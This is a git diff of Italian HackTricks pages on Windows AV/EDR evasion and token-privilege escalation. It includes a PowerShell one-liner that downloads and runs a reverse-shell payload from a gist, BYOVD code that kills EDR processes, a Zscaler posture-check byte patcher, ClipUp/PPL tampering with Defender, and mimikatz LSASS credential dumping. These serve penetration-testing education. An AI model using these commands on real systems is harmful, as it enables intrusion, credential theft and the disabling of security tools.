```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
@ -645,7 +647,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Elenco di obfuscatori C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
Lista di obfuscatori per C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -660,7 +662,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Esempio di utilizzo di python per build injectors:
|
||||
### Usare python per build injectors — esempio:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -689,30 +691,30 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### Altro
|
||||
### More
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603 ha sfruttato una piccola utility da console nota come **Antivirus Terminator** per disabilitare le protezioni endpoint prima di rilasciare il ransomware. Lo strumento porta il suo **proprio driver vulnerabile ma *firmato*** e lo abusa per emettere operazioni privilegiate a livello kernel che anche i servizi AV in Protected-Process-Light (PPL) non possono bloccare.
|
||||
Storm-2603 ha sfruttato una piccola utility da console nota come **Antivirus Terminator** per disabilitare le protezioni endpoint prima di installare il ransomware. Lo strumento porta con sé il **proprio driver vulnerabile ma *signed*** e lo abusa per emettere operazioni privilegiate in kernel che neanche i servizi AV in Protected-Process-Light (PPL) possono bloccare.
|
||||
|
||||
Punti chiave
|
||||
1. **Signed driver**: Il file scritto su disco è `ServiceMouse.sys`, ma il binario è il driver legittimamente firmato `AToolsKrnl64.sys` dall’“System In-Depth Analysis Toolkit” di Antiy Labs. Poiché il driver riporta una firma Microsoft valida, viene caricato anche quando Driver-Signature-Enforcement (DSE) è abilitato.
|
||||
2. **Service installation**:
|
||||
1. **Signed driver**: Il file scritto su disco è `ServiceMouse.sys`, ma il binario è il driver legittimamente firmato `AToolsKrnl64.sys` dell’“System In-Depth Analysis Toolkit” di Antiy Labs. Poiché il driver ha una firma Microsoft valida, viene caricato anche quando Driver-Signature-Enforcement (DSE) è abilitato.
|
||||
2. Installazione del servizio:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
La prima riga registra il driver come un **servizio kernel** e la seconda lo avvia in modo che `\\.\ServiceMouse` diventi accessibile dallo spazio utente.
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | Funzionalità |
|
||||
|-----------:|-------------------------------------------|
|
||||
| `0x99000050` | Terminare un processo arbitrario per PID (usato per terminare i servizi di Defender/EDR) |
|
||||
La prima riga registra il driver come servizio **kernel** e la seconda lo avvia in modo che `\\.\ServiceMouse` diventi accessibile dallo user land.
|
||||
3. IOCTLs esposti dal driver
|
||||
| IOCTL code | Capability |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Terminare un processo arbitrario per PID (usato per killare i servizi Defender/EDR) |
|
||||
| `0x990000D0` | Eliminare un file arbitrario su disco |
|
||||
| `0x990001D0` | Unload del driver e rimozione del servizio |
|
||||
| `0x990001D0` | Scaricare il driver e rimuovere il servizio |
|
||||
|
||||
Esempio C minimale:
|
||||
Proof-of-concept C minimale:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -724,30 +726,30 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**: BYOVD salta completamente le protezioni in modalità utente; il codice che viene eseguito nel kernel può aprire processi *protetti*, terminarli o manomettere oggetti del kernel indipendentemente da PPL/PP, ELAM o altre funzionalità di hardening.
|
||||
4. Perché funziona: BYOVD salta completamente le protezioni in user-mode; codice che esegue in kernel può aprire processi *protetti*, terminarli o manomettere oggetti kernel indipendentemente da PPL/PP, ELAM o altre funzionalità di hardening.
|
||||
|
||||
Rilevamento / Mitigazione
|
||||
• Abilitare la lista di blocco dei driver vulnerabili di Microsoft (`HVCI`, `Smart App Control`) in modo che Windows rifiuti di caricare `AToolsKrnl64.sys`.
|
||||
• Abilitare la block list dei driver vulnerabili di Microsoft (`HVCI`, `Smart App Control`) in modo che Windows rifiuti il caricamento di `AToolsKrnl64.sys`.
|
||||
• Monitorare la creazione di nuovi servizi *kernel* e generare allerta quando un driver viene caricato da una directory scrivibile da tutti o non è presente nella allow-list.
|
||||
• Sorvegliare handle in modalità utente verso oggetti device personalizzati seguiti da chiamate sospette a `DeviceIoControl`.
|
||||
• Sorvegliare handle in user-mode verso device objects personalizzati seguiti da sospette chiamate a `DeviceIoControl`.
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
### Bypassare i controlli di postura di Zscaler Client Connector tramite patching binario su disco
|
||||
|
||||
Zscaler’s **Client Connector** applica regole di device-posture localmente e si affida a Windows RPC per comunicare i risultati ad altri componenti. Due scelte progettuali deboli rendono possibile un bypass completo:
|
||||
Zscaler’s **Client Connector** applica le regole di device-posture localmente e si affida a Windows RPC per comunicare i risultati ad altri componenti. Due scelte progettuali deboli rendono possibile un bypass completo:
|
||||
|
||||
1. La valutazione della posture avviene **interamente lato client** (viene inviato un booleano al server).
|
||||
2. Gli endpoint RPC interni validano solo che l’eseguibile che si connette sia **firmato da Zscaler** (via `WinVerifyTrust`).
|
||||
1. La valutazione della posture avviene **interamente client-side** (viene inviato un booleano al server).
|
||||
2. Gli endpoint RPC interni validano solo che l’eseguibile connesso sia **signed by Zscaler** (tramite `WinVerifyTrust`).
|
||||
|
||||
Modificando quattro binari firmati su disco entrambe le meccaniche possono essere neutralizzate:
|
||||
Patchando quattro signed binaries su disco entrambi i meccanismi possono essere neutralizzati:
|
||||
|
||||
| Binary | Logica originale modificata | Risultato |
|
||||
|--------|-----------------------------|-----------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Ritorna sempre `1` così ogni controllo risulta conforme |
|
||||
| `ZSAService.exe` | Chiamata indiretta a `WinVerifyTrust` | NOP-ed ⇒ qualsiasi processo (anche non firmato) può bindarsi alle pipe RPC |
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Restituisce sempre `1` quindi ogni controllo risulta conforme |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ qualsiasi processo (anche non firmato) può bindare le pipe RPC |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Sostituita con `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Controlli di integrità sul tunnel | Saltati |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | Saltati |
|
||||
|
||||
Estratto minimale del patcher:
|
||||
Estratto del patcher minimale:
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
@ -763,20 +765,20 @@ f.write(replacement)
|
||||
```
|
||||
Dopo aver sostituito i file originali e riavviato lo stack di servizi:
|
||||
|
||||
* **Tutti** i controlli di posture risultano **verde/conforme**.
|
||||
* Binari non firmati o modificati possono aprire gli endpoint RPC su named-pipe (es. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* **Tutti** i posture check mostrano **verde/conforme**.
|
||||
* I binari non firmati o modificati possono aprire i named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* L'host compromesso ottiene accesso illimitato alla rete interna definita dalle policy di Zscaler.
|
||||
|
||||
Questo case study dimostra come decisioni di trust esclusivamente lato client e semplici controlli di firma possano essere sconfitti con pochi patch di byte.
|
||||
Questo case study dimostra come decisioni di trust puramente lato client e semplici controlli di firma possano essere aggirati con poche patch di byte.
|
||||
|
||||
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
|
||||
## Abuso di Protected Process Light (PPL) per manomettere AV/EDR con LOLBINs
|
||||
|
||||
Protected Process Light (PPL) impone una gerarchia signer/level così che solo processi protetti di pari o superiore livello possano manomettersi a vicenda. In ottica offensiva, se puoi legittimamente avviare un binario abilitato PPL e controllarne gli argomenti, puoi convertire funzionalità benign (es. logging) in una primitive di scrittura vincolata, supportata da PPL, verso directory protette usate da AV/EDR.
|
||||
Protected Process Light (PPL) impone una gerarchia di firmatari e livelli in modo che solo processi protetti di pari o superiore livello possano manomettersi a vicenda. In ambito offensivo, se si riesce a lanciare legittimamente un binario abilitato PPL e a controllarne gli argomenti, è possibile convertire funzionalità benigni (p.es., logging) in una constrained, PPL-backed write primitive contro le directory protette usate da AV/EDR.
|
||||
|
||||
Cosa fa sì che un processo venga eseguito come PPL
|
||||
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
|
||||
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
|
||||
- Il target EXE (e qualsiasi DLL caricata) deve essere firmato con un EKU abilitato per PPL.
|
||||
- Il processo deve essere creato con CreateProcess usando i flag: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- Deve essere richiesto un livello di protezione compatibile che corrisponda al firmatario del binario (p.es., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` per firmatari anti-malware, `PROTECTION_LEVEL_WINDOWS` per i firmatari Windows). Livelli errati falliranno alla creazione.
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
@ -785,9 +787,9 @@ stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
Launcher tooling
|
||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
||||
- Strumento open-source di supporto: CreateProcessAsPPL (seleziona il livello di protezione e inoltra gli argomenti all'EXE di destinazione):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- Usage pattern:
|
||||
- Pattern di utilizzo:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
@ -797,18 +799,18 @@ CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` si auto-avvia e accetta un parametro per scrivere un file di log in un percorso specificato dal chiamante.
|
||||
- When launched as a PPL process, the file write occurs with PPL backing.
|
||||
- ClipUp non può analizzare percorsi contenenti spazi; usare percorsi 8.3 (short) per puntare a posizioni normalmente protette.
|
||||
- Quando avviato come processo PPL, la scrittura del file avviene con il contesto PPL.
|
||||
- ClipUp non riesce a interpretare percorsi contenenti spazi; usa percorsi 8.3 short per puntare a posizioni normalmente protette.
|
||||
|
||||
8.3 short path helpers
|
||||
- Elencare i nomi brevi: `dir /x` in ogni parent directory.
|
||||
- Derivare il percorso corto in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
- List short names: `dir /x` in each parent directory.
|
||||
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
Abuse chain (abstract)
|
||||
1) Avviare la LOLBIN capace di PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un launcher (e.g., CreateProcessAsPPL).
|
||||
2) Passare l'argomento log-path di ClipUp per forzare la creazione di un file in una directory AV protetta (e.g., Defender Platform). Usare nomi 8.3 se necessario.
|
||||
3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
|
||||
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
|
||||
1) Avvia il LOLBIN compatibile PPL (ClipUp) con `CREATE_PROTECTED_PROCESS` usando un launcher (e.g., CreateProcessAsPPL).
|
||||
2) Passa l'argomento log-path di ClipUp per forzare la creazione di un file in una directory AV protetta (e.g., Defender Platform). Usa nomi 8.3 se necessario.
|
||||
3) Se il binario target è normalmente aperto/bloccato dall'AV mentre è in esecuzione (e.g., MsMpEng.exe), pianifica la scrittura all'avvio prima che l'AV si avvii installando un servizio auto-start che venga eseguito prima. Valida l'ordine di boot con Process Monitor (boot logging).
|
||||
4) Al reboot la scrittura supportata da PPL avviene prima che l'AV blocchi i suoi binari, corrompendo il file target e impedendone l'avvio.
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
@ -816,21 +818,21 @@ Example invocation (paths redacted/shortened for safety):
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Note e vincoli
|
||||
- Non puoi controllare il contenuto che `ClipUp` scrive oltre alla posizione; la primitiva è adatta a corrompere piuttosto che a iniettare contenuti in modo preciso.
|
||||
- Richiede local admin/SYSTEM per installare/avviare un servizio e una finestra di reboot.
|
||||
- Il timing è critico: l'obiettivo non deve essere aperto; l'esecuzione all'avvio evita i lock sui file.
|
||||
- Non è possibile controllare i contenuti che ClipUp scrive oltre alla posizione; la primitiva è adatta alla corruzione piuttosto che all'iniezione precisa di contenuti.
|
||||
- Richiede privilegi locali admin/SYSTEM per installare/avviare un servizio e una finestra di riavvio.
|
||||
- Il timing è critico: il target non deve essere aperto; l'esecuzione all'avvio evita i file lock.
|
||||
|
||||
Rilevazioni
|
||||
- Creazione di processi di `ClipUp.exe` con argomenti insoliti, specialmente se parentati da launcher non standard, intorno all'avvio.
|
||||
- Nuovi servizi configurati per l'auto-avvio di binari sospetti e che si avviano sistematicamente prima di Defender/AV. Indagare la creazione/modifica del servizio prima dei fallimenti di avvio di Defender.
|
||||
- Monitoraggio dell'integrità dei file sulle directory dei binari/Platform di Defender; creazioni/modifiche di file inaspettate da processi con flag protected-process.
|
||||
- Telemetria ETW/EDR: cercare processi creati con `CREATE_PROTECTED_PROCESS` e un uso anomalo del livello PPL da parte di binari non-AV.
|
||||
Rilevamenti
|
||||
- Creazione del processo `ClipUp.exe` con argomenti insoliti, specialmente se parentato da launcher non standard, durante l'avvio.
|
||||
- Nuovi servizi configurati per l'auto-avvio di binari sospetti e che si avviano consistentemente prima di Defender/AV. Indagare la creazione/modifica del servizio prima dei fallimenti di avvio di Defender.
|
||||
- Monitoring dell'integrità dei file sui binari di Defender/Platform directories; creazioni/modifiche di file inaspettate da processi con flag protected-process.
|
||||
- Telemetria ETW/EDR: cercare processi creati con `CREATE_PROTECTED_PROCESS` e un uso anomalo dei livelli PPL da parte di binari non-AV.
|
||||
|
||||
Mitigazioni
|
||||
- WDAC/Code Integrity: limitare quali binari firmati possono essere eseguiti come PPL e sotto quali parent; bloccare l'invocazione di ClipUp al di fuori di contesti legittimi.
|
||||
- Igiene dei servizi: limitare la creazione/modifica di servizi ad auto-avvio e monitorare la manipolazione dell'ordine di avvio.
|
||||
- Abilitare Defender tamper protection e le protezioni di early-launch; indagare errori di avvio che indicano corruzione di binari.
|
||||
- Valutare la disabilitazione della generazione dei nomi brevi 8.3 sui volumi che ospitano tool di sicurezza se compatibile con l'ambiente (test approfonditi).
|
||||
- WDAC/Code Integrity: limitare quali binari firmati possono essere eseguiti come PPL e sotto quali processi genitori; bloccare l'invocazione di ClipUp al di fuori dei contesti legittimi.
|
||||
- Igiene dei servizi: limitare la creazione/modifica di servizi auto-avviati e monitorare manipolazioni dell'ordine di avvio.
|
||||
- Assicurarsi che la protezione contro le manomissioni di Defender e le protezioni di avvio precoce siano abilitate; indagare errori di avvio che indicano corruzione dei binari.
|
||||
- Considerare la disabilitazione della generazione di nomi brevi 8.3 sui volumi che ospitano strumenti di sicurezza se compatibile con il vostro ambiente (testare approfonditamente).
|
||||
|
||||
Riferimenti per PPL e tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
@ -839,7 +841,7 @@ Riferimenti per PPL e tooling
|
||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
@ -1,180 +0,0 @@
|
||||
# Abusing Tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
Se **non sai cosa sono i Windows Access Tokens**, leggi questa pagina prima di continuare:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**Forse potresti essere in grado di elevare i privilegi abusando dei token che già possiedi**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
Questo è un privilegio detenuto da qualsiasi processo che consente l'impersonificazione (ma non la creazione) di qualsiasi token, a condizione che si possa ottenere un handle. Un token privilegiato può essere acquisito da un servizio Windows (DCOM) inducendolo a eseguire l'autenticazione NTLM contro un exploit, abilitando successivamente l'esecuzione di un processo con privilegi SYSTEM. Questa vulnerabilità può essere sfruttata utilizzando vari strumenti, come [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (che richiede che winrm sia disabilitato), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) e [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
È molto simile a **SeImpersonatePrivilege**, utilizzerà il **stesso metodo** per ottenere un token privilegiato.\
|
||||
Questo privilegio consente **di assegnare un token primario** a un processo nuovo/sospeso. Con il token di impersonificazione privilegiato puoi derivare un token primario (DuplicateTokenEx).\
|
||||
Con il token, puoi creare un **nuovo processo** con 'CreateProcessAsUser' o creare un processo sospeso e **impostare il token** (in generale, non puoi modificare il token primario di un processo in esecuzione).
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
Se hai abilitato questo token puoi utilizzare **KERB_S4U_LOGON** per ottenere un **token di impersonificazione** per qualsiasi altro utente senza conoscere le credenziali, **aggiungere un gruppo arbitrario** (amministratori) al token, impostare il **livello di integrità** del token su "**medio**" e assegnare questo token al **thread corrente** (SetThreadToken).
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
Il sistema è indotto a **concedere l'accesso in lettura** a qualsiasi file (limitato alle operazioni di lettura) tramite questo privilegio. Viene utilizzato per **leggere gli hash delle password degli account Administrator locali** dal registro, dopo di che, strumenti come "**psexec**" o "**wmiexec**" possono essere utilizzati con l'hash (tecnica Pass-the-Hash). Tuttavia, questa tecnica fallisce in due condizioni: quando l'account Local Administrator è disabilitato, o quando è in atto una politica che rimuove i diritti amministrativi dagli amministratori locali che si connettono in remoto.\
|
||||
Puoi **abusare di questo privilegio** con:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- seguendo **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- O come spiegato nella sezione **elevare i privilegi con Backup Operators** di:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
Il permesso per **l'accesso in scrittura** a qualsiasi file di sistema, indipendentemente dalla Access Control List (ACL) del file, è fornito da questo privilegio. Apre numerose possibilità di elevazione, inclusa la capacità di **modificare i servizi**, eseguire DLL Hijacking e impostare **debugger** tramite Image File Execution Options tra varie altre tecniche.
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilege è un permesso potente, particolarmente utile quando un utente possiede la capacità di impersonare token, ma anche in assenza di SeImpersonatePrivilege. Questa capacità si basa sulla possibilità di impersonare un token che rappresenta lo stesso utente e il cui livello di integrità non supera quello del processo corrente.
|
||||
|
||||
**Punti Chiave:**
|
||||
|
||||
- **Impersonificazione senza SeImpersonatePrivilege:** È possibile sfruttare SeCreateTokenPrivilege per EoP impersonando token in condizioni specifiche.
|
||||
- **Condizioni per l'Impersonificazione del Token:** L'impersonificazione riuscita richiede che il token target appartenga allo stesso utente e abbia un livello di integrità che è minore o uguale al livello di integrità del processo che tenta l'impersonificazione.
|
||||
- **Creazione e Modifica di Token di Impersonificazione:** Gli utenti possono creare un token di impersonificazione e migliorarlo aggiungendo un SID (Security Identifier) di un gruppo privilegiato.
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
Questo privilegio consente di **caricare e scaricare driver di dispositivo** creando una voce di registro con valori specifici per `ImagePath` e `Type`. Poiché l'accesso in scrittura diretto a `HKLM` (HKEY_LOCAL_MACHINE) è limitato, deve essere utilizzato `HKCU` (HKEY_CURRENT_USER). Tuttavia, per rendere `HKCU` riconoscibile dal kernel per la configurazione del driver, deve essere seguita una specifica strada.
|
||||
|
||||
Questo percorso è `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, dove `<RID>` è l'Identificatore Relativo dell'utente corrente. All'interno di `HKCU`, deve essere creato l'intero percorso e devono essere impostati due valori:
|
||||
|
||||
- `ImagePath`, che è il percorso del binario da eseguire
|
||||
- `Type`, con un valore di `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
|
||||
**Passaggi da Seguire:**
|
||||
|
||||
1. Accedi a `HKCU` invece di `HKLM` a causa dell'accesso in scrittura limitato.
|
||||
2. Crea il percorso `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` all'interno di `HKCU`, dove `<RID>` rappresenta l'Identificatore Relativo dell'utente corrente.
|
||||
3. Imposta `ImagePath` sul percorso di esecuzione del binario.
|
||||
4. Assegna `Type` come `SERVICE_KERNEL_DRIVER` (`0x00000001`).
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
More ways to abuse this privilege in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
Questo è simile a **SeRestorePrivilege**. La sua funzione principale consente a un processo di **assumere la proprietà di un oggetto**, eludendo il requisito di accesso discrezionale esplicito attraverso la fornitura di diritti di accesso WRITE_OWNER. Il processo prevede prima di assicurarsi la proprietà della chiave di registro prevista per scopi di scrittura, quindi di modificare il DACL per abilitare le operazioni di scrittura.
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
Questo privilegio consente di **debuggare altri processi**, inclusa la lettura e scrittura nella memoria. Possono essere impiegate varie strategie per l'iniezione di memoria, capaci di eludere la maggior parte delle soluzioni antivirus e di prevenzione delle intrusioni host, con questo privilegio.
|
||||
|
||||
#### Dump della memoria
|
||||
|
||||
Puoi utilizzare [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) dalla [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) o [SharpDump](https://github.com/GhostPack/SharpDump) per **catturare la memoria di un processo**. In particolare, questo può applicarsi al processo **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, che è responsabile della memorizzazione delle credenziali utente una volta che un utente ha effettuato l'accesso con successo a un sistema.
|
||||
|
||||
Puoi quindi caricare questo dump in mimikatz per ottenere le password:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
Se vuoi ottenere una shell `NT SYSTEM` puoi usare:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
Il `SeManageVolumePrivilege` è un diritto utente di Windows che consente agli utenti di gestire i volumi disco, inclusa la creazione e la cancellazione degli stessi. Sebbene sia destinato agli amministratori, se concesso a utenti non amministratori, può essere sfruttato per l'escalation dei privilegi.
|
||||
|
||||
È possibile sfruttare questo privilegio per manipolare i volumi, portando a un accesso completo ai volumi. Il [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) può essere utilizzato per dare accesso completo a tutti gli utenti per C:\
|
||||
|
||||
Inoltre, il processo descritto in [questo articolo di Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) illustra l'uso del DLL hijacking in combinazione con `SeManageVolumePrivilege` per escalare i privilegi. Posizionando un payload DLL `C:\Windows\System32\wbem\tzres.dll` e chiamando `systeminfo`, la dll viene eseguita.
|
||||
|
||||
## Check privileges
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
